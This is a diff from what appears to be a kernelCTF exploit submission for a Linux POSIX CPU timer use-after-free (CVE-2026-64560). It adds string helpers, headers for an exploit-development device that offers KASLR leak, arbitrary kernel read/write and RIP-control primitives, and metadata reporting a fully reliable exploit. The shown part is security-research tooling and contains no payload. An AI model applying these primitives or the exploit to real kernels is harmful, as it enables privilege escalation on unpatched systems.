@ingroup util_classes + * @brief Formats a string using a format string and va_list arguments. + * @param format The format string. + * @param args The va_list containing the arguments. + * @return The formatted string. + */ +std::string format_str(const char* format, va_list args); + +/** + * @ingroup util_classes + * @brief Formats a string using a format string and a variadic number of arguments. + * @tparam Args The types of the arguments. + * @param format The format string. + * @param args The arguments to format. + */ +template +std::string format_str(const char* format, const Args&... args) { + int buffer_size = std::snprintf(nullptr, 0, format, args...) + 1; // +1 for null terminator + std::string result(buffer_size - 1, '\0'); + std::snprintf(result.data(), buffer_size, format, args...); + return result; +} + +/** + * @ingroup util_classes + * @brief Concatenates a vector of strings with a delimiter. + * @param delimiter The string to use as a delimiter. + * @param strings The vector of strings to concatenate. + */ +std::string str_concat(const std::string& delimiter, const std::vector& strings); + +/** + * @ingroup util_classes + * @brief Replaces all occurrences of a substring within a string. + * @param str The string to perform replacements on. + * @param from The substring to replace. + * @param to The string to replace with. + */ +void replace(std::string& str, const std::string& from, const std::string& to); + +/** + * @ingroup util_classes + * @brief Converts a string to lowercase in-place. + * @param str The string to convert. + */ +void tolower(std::string& str); + +/** + * @ingroup util_classes + * @brief Splits a string by a delimiter. + * @param str The string to split. + * @param delimiter The delimiter to split by. + */ +std::vector split(const std::string& str, const std::string& delimiter); + +/** + * @ingroup util_classes + * @brief Checks if a string contains a specific pattern. + * @param str The string to search within. + * @param pattern The pattern to search for. + * @return True if the string contains the pattern, false otherwise. + */ +bool contains(const std::string& str, const std::string& pattern); + +/** + * @ingroup util_classes + * @brief Checks if a string starts with a specific prefix. + * @param str The string to check. + * @param prefix The prefix to check for. + * @return True if the string starts with the prefix, false otherwise. + */ +bool startsWith(const std::string& str, const std::string& prefix); \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/xdk_device/include/xdk_device.h b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/xdk_device/include/xdk_device.h new file mode 100755 index 000000000..f0e06170d --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/xdk_device/include/xdk_device.h @@ -0,0 +1,130 @@ +/* SPDX-License-Identifier: GPL-2.0 */ +/* Copyright 2024 Google LLC + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. +*/ + +#pragma once + +#include +#include + +#define DEVICE_NAME "xdk" + +typedef struct xdk_message { + uint64_t length; + uint8_t* data; + union { + uint64_t kernel_addr; + void* kernel_ptr; + }; + uint8_t gfp_account; +} xdk_message; + +enum xdk_cmd { ALLOC_BUFFER = 0x1000, KFREE, KASLR_LEAK, WIN_TARGET, RIP_CONTROL, ARB_READ, ARB_WRITE, INSTALL_KPROBE, PRINTK, SYM_ADDR, REMOVE_KPROBE, GET_RIP_CONTROL_RECOVERY, CHECK_WIN }; + +enum xdk_error { + SUCCESS = 0, + ERROR_GENERIC = 0x1000, + ERROR_UNKNOWN_COMMAND = 0x1001, + ERROR_ALLOC = 0x1002, + ERROR_COPY_FROM_USER_STRUCT = 0x1003, + ERROR_COPY_FROM_USER_DATA = 0x1004, + ERROR_COPY_TO_USER_STRUCT = 0x1005, + ERROR_COPY_TO_USER_DATA = 0x1006, + ERROR_UNKNOWN_SYMBOL = 0x1007, +}; + +enum regs_to_set: unsigned long { + RAX = 0x000001, + RBX = 0x000002, + RCX = 0x000004, + RDX = 0x000008, + RSI = 0x000010, + RDI = 0x000020, + RBP = 0x000040, + RSP = 0x000080, + R8 = 0x000100, + R9 = 0x000200, + R10 = 0x000400, + R11 = 0x000800, + R12 = 0x001000, + R13 = 0x002000, + R14 = 0x004000, + //R15 = 0x008000, + ALL = 0xffffffff, +}; + +enum rip_action { + JMP_RIP = 0x1, // jmp r15 (r15 == rip_control_args.rip) + CALL_RIP = 0x2, // call r15 (r15 == rip_control_args.rip) + RET = 0x3, + NONE = 0x4, +}; + +typedef struct { + // 0x00 + uint64_t rax, rbx, rcx, rdx; + // 0x20 + uint64_t rsi, rdi, rbp, rsp; + // 0x40 + uint64_t r8, r9, r10, r11; + // 0x60 + uint64_t r12, r13, r14, r15; + // 0x80 + uint64_t rip; + // 0x88 + uint64_t regs_to_set; + // 0x90 + uint64_t action; +} rip_control_args; + +enum kprobe_log_mode { + SILENT = 0x0, + ENTRY = 0x1, + ENTRY_CALLSTACK = 0x2, + RETURN = 0x4, + RETURN_CALLSTACK = 0x8, + CALL_LOG = 0x10, + ENTRY_WITH_CALLSTACK = ENTRY | ENTRY_CALLSTACK, + RETURN_WITH_CALLSTACK = RETURN | RETURN_CALLSTACK +}; + +typedef struct { + volatile uint64_t entry_size; + volatile uint64_t arguments[6]; + volatile uint64_t return_value; + volatile uint64_t call_stack_size; + volatile uint8_t call_stack[1]; +} kprobe_log_entry; + +typedef struct { + volatile uint64_t struct_size; + volatile uint64_t entry_count; + volatile uint64_t next_offset; // next writable offset + volatile uint64_t missed_logs; // number of logs could not be written to due insufficient buffer space + kprobe_log_entry entries[]; +} kprobe_log; + +typedef struct { + char function_name[128]; + pid_t pid_filter; + uint8_t arg_count; + uint8_t log_mode; // kprobe_log_mode + char log_call_stack_filter[128]; + kprobe_log* logs; + void* installed_kprobe; +} kprobe_args; + +typedef struct { + char symbol_name[128]; + uint64_t symbol_addr; +} sym_addr; + diff --git a/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/xdk_device/xdk_device.h b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/xdk_device/xdk_device.h new file mode 100755 index 000000000..6fc8dade0 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/xdk_device/xdk_device.h @@ -0,0 +1,335 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include +#include +#include +#include +#include +#include +#include +#include "./include/xdk_device.h" +#include + +#define DEVICE_PATH "/dev/xdk" + +/** + * @defgroup xdk_device_classes XDK Device Classes + * @brief Classes for XDK device interaction. + */ + +/** + * @ingroup xdk_device_classes + * @brief Enum representing the possible actions for RIP control. + */ +enum class RipAction { Jmp = 0x1, Call = 0x2, Ret = 0x3 }; + +/** + * @ingroup xdk_device_classes + * @brief Structure to hold information about a kernel function call log. + */ +struct CallLog { + /** @brief The name of the function that was called. */ + std::string function_name; + + /** @brief A vector of arguments passed to the function. */ + std::vector arguments; + + /** @brief The return value of the function. */ + uint64_t return_value; + + /** @brief The call stack at the time of the function call. */ + std::string call_stack; + + std::string GetSummary(); +}; + +/** + * @ingroup xdk_device_classes + * @class XdkDevice + * @brief Manages communication and data for the XDK device. + */ +class XdkDevice; + +/** + * @ingroup xdk_device_classes + * @class Kprobe + * @brief Class representing a Kprobe in the kernel. + */ +class Kprobe { + kprobe_args args_; + const size_t logs_size = 16 * 4096; +public: + /** + * @brief Constructor for the Kprobe class. + * @param function_name The name of the function to probe. + * @param arg_count The number of arguments to log (default is 0). + * @param log_mode The logging mode (default is ENTRY_WITH_CALLSTACK | RETURN). + * @param log_call_stack_filter An optional filter for the call stack (default is nullptr). + */ + Kprobe(const char* function_name, uint8_t arg_count = 0, + enum kprobe_log_mode log_mode = (kprobe_log_mode)(ENTRY_WITH_CALLSTACK | RETURN), + const char* log_call_stack_filter = nullptr); + + /** + * @brief Retrieves the call logs for this Kprobe. + * @param clear_log Whether to clear the log after retrieving (default is + * false). + * @return A vector of CallLog structures. + */ + std::vector GetCallLogs(bool clear_log = false); + + /** + * @brief Prints the call logs for this Kprobe to the console. + * @param clear_log Whether to clear the log after printing (default is false). + */ + void PrintCallLog(bool clear_log = false); + + /** + * @brief Destructor for the Kprobe class. + */ + ~Kprobe(); + + friend class XdkDevice; +}; + +/** + * @ingroup xdk_device_classes + * @class XdkDevice + * @brief Class representing the interface to the xdk kernel module. + */ +class XdkDevice { + /** @brief File descriptor for the xdk kernel module. */ + int fd_; + + /** @brief The default logging mode for Kprobes. */ + enum kprobe_log_mode default_log_mode_ = (kprobe_log_mode)(ENTRY_WITH_CALLSTACK | RETURN); + + /** + * @brief A set of pointers to the Kprobe objects that have been successfully installed + * in the kernel. This is used to keep track of probes that need to be removed + * when the XdkDevice object is closed or destroyed. + */ + std::set installed_probes_; + + /** + * @brief Converts the provided RIP action and register map into a `rip_control_args` structure. + * This structure is used to communicate with the kernel module for RIP control. + * @param action The desired RIP action (Jump, Call, or Return). + * @param regs A map of registers to set before performing the RIP action. + * @return A `rip_control_args` structure populated with the provided action and registers. + */ + rip_control_args ConvertRipArgs( + RipAction action, const std::map& regs = {}); + + /** + * @brief Calls a raw ioctl command on the xdk device. + * @param cmd The command to call. + * @param arg The argument to the command. + * @return The error code returned by the ioctl. + * @throws ExpKitError if the ioctl returns an unknown error code. + */ + xdk_error CallRaw(enum xdk_cmd cmd, void* arg) const; + +public: + /** + * @brief Checks if the xdk device is available. + * @return True if the device exists, false otherwise. + */ + static bool IsAvailable(); + + /** + * @brief Constructor for the XdkDevice class. + * @throws ExpKitError if the xdk device cannot be opened. + */ + XdkDevice(); + + /** + * @brief Calls a xdk command and checks the error code. + * @param cmd The command to call. + * @param arg The argument to the command. + * @param expected_error The expected error code if the command is not + * successful. + * @throws ExpKitError if the command was not successful and did not return + * with expected_error. + */ + xdk_error Call(enum xdk_cmd cmd, void* arg, xdk_error expected_error) const; + + /** + * @brief Calls a xdk command expecting success. + * @param cmd The command to call. + * @param arg The argument to the command. + * @throws ExpKitError if the command was not successful. + */ + void Call(enum xdk_cmd cmd, void* arg) const; + + /** + * @brief Allocates a buffer in kernel space. + * @param size The size of the buffer to allocate. + * @param gfp_account Whether to account for GFP_KERNEL allocations. + * @return The kernel address of the allocated buffer. + */ + uint64_t AllocBuffer(uint64_t size, bool gfp_account) const; + + /** + * @brief Allocates a buffer in kernel space and copies data into it. + * @param data The data to copy into the buffer. + * @param gfp_account Whether to account for GFP_KERNEL allocations. + * @return The kernel address of the allocated buffer. + */ + uint64_t AllocBuffer(const std::vector& data, bool gfp_account) const; + + /** + * @brief Reads data from kernel space. + * @param ptr The kernel address to read from. + * @param size The number of bytes to read. + */ + std::vector Read(uint64_t ptr, uint64_t size) const; + + /** + * @brief Writes data to kernel space. + * @param ptr The kernel address to write to. + * @param data The data to write. + */ + void Write(uint64_t ptr, const std::vector& data) const; + + /** + * @brief Frees a kernel buffer. + * @param ptr The kernel address of the buffer to free. + */ + void Kfree(uint64_t ptr) const; + + /** + * @brief Prints a message to the kernel log. + * @param msg The message to print. + */ + void Printk(const char* msg) const; + + /** + * @brief Gets the KASLR base address. + * @return The KASLR base address. + */ + uint64_t KaslrLeak(); + + /** + * @brief Gets the address of the win target function. + * @return The address of the win target function. + * @details If the win target is called (e.g. via ROP chain), then it sets a + * win flag in the kernel which can be checked with the CheckWin() function. + */ + uint64_t WinTarget(); + + /** + * @brief Gets the address of a kernel symbol if it exists in kallsyms. + * @param name The name of the symbol. + * @return An optional containing the address of the symbol if found, otherwise + * an empty optional. + */ + std::optional SymAddrOpt(const char* name); + + /** + * @brief Gets the address of a kernel symbol if it exists in kallsyms. + * @param name The name of the symbol. + * @throws ExpKitError if the symbol was not found in kallsyms. + * @return The address of the symbol. + */ + uint64_t SymAddr(const char* name); + + /** + * @brief Controls the RIP and other registers in the kernel. + * @param args The arguments for controlling the RIP and registers. + */ + void RipControl(const rip_control_args& args); + + /** + * @brief Controls the RIP and other registers in the kernel. + * @param action The action to perform (Jump, Call, or Return). + * @param regs A map of registers to set and their values. + */ + void RipControl(RipAction action, + const std::map& regs = {}); + + /** + * @brief Calls a kernel function at a specific address (with the "call" asm + * call). + * @param addr The address of the function to call. + * @param regs A map of registers to set before the call. + */ + void CallAddr(uint64_t addr, const std::map& regs = {}); + + /** + * @brief Jumps to a specific address in the kernel (with the "jmp" asm call). + * @param addr The address to jump to. + * @param regs A map of registers to set before the jump. + */ + void JumpToAddr(uint64_t addr, const std::map& regs = {}); + + /** + * @brief Sets the RSP and performs a return ("mov rsp, ; ret"). + * @param new_rsp The new value for the RSP. + * @param regs A map of registers to set before the return. + */ + void SetRspAndRet(uint64_t new_rsp, + const std::map& regs = {}); + + /** + * @brief Gets the recovery address for RIP control. + * @return The recovery address. + */ + uint64_t GetRipControlRecoveryAddr(); + + /** + * @brief Installs a Kprobe in the kernel. + * @param function_name The name of the function to probe. + * @param arg_count The number of arguments to log (default is 0). + * @param log_mode The logging mode (default is ENTRY_WITH_CALLSTACK | RETURN). + * @param log_call_stack_filter An optional filter for the call stack (default + * is nullptr which means no call stack filtering, all calls are recorded). + * @return A pointer to the installed Kprobe object. + */ + Kprobe* InstallKprobe(const char* function_name, uint8_t arg_count = 0, + enum kprobe_log_mode log_mode = + (kprobe_log_mode)(ENTRY_WITH_CALLSTACK | RETURN), + const char* log_call_stack_filter = nullptr); + + /** + * @brief Removes an installed Kprobe. + * @param probe A pointer to the Kprobe object to remove. + */ + void RemoveKprobe(Kprobe* probe); + + /** + * @brief Prints the call logs for all installed Kprobes. + * @param clear_log Whether to clear the logs after printing (default is + * false). + */ + void PrintAllCallLog(bool clear_log = false); + + /** + * @brief Checks if the win target has been called. + */ + void CheckWin(); + + /** + * @brief Closes the connection to the xdk device and removes all installed + * Kprobes. + */ + void Close(); + + ~XdkDevice(); +}; \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/target_db.kxdb b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/target_db.kxdb new file mode 100755 index 000000000..b47d2547a Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/target_db.kxdb differ diff --git a/pocs/linux/kernelctf/CVE-2026-64560_lts/metadata.json b/pocs/linux/kernelctf/CVE-2026-64560_lts/metadata.json new file mode 100755 index 000000000..890f6b1b0 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-64560_lts/metadata.json @@ -0,0 +1,22 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": ["exp527"], + "vulnerability": { + "summary": "A non-leader exec race can leave a POSIX process CPU timer queued after its k_itimer is freed", + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=920f893f735e92ba3a1cd9256899a186b161928d", + "cve": "CVE-2026-64560", + "affected_versions": ["5.7-rc1 - 6.12.89"], + "requirements": { + "attack_surface": [], + "capabilities": [], + "kernel_config": ["CONFIG_POSIX_TIMERS"] + } + }, + "exploits": { + "lts-6.12.89": { + "uses": [], + "requires_separate_kaslr_leak": false, + "stability_notes": "30/30 fresh boots (100%) on lts-6.12.89 with KASLR enabled" + } + } +} diff --git a/pocs/linux/kernelctf/CVE-2026-64560_lts/original.tar.gz b/pocs/linux/kernelctf/CVE-2026-64560_lts/original.tar.gz new file mode 100755 index 000000000..9e59a40b2 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-64560_lts/original.tar.gz differ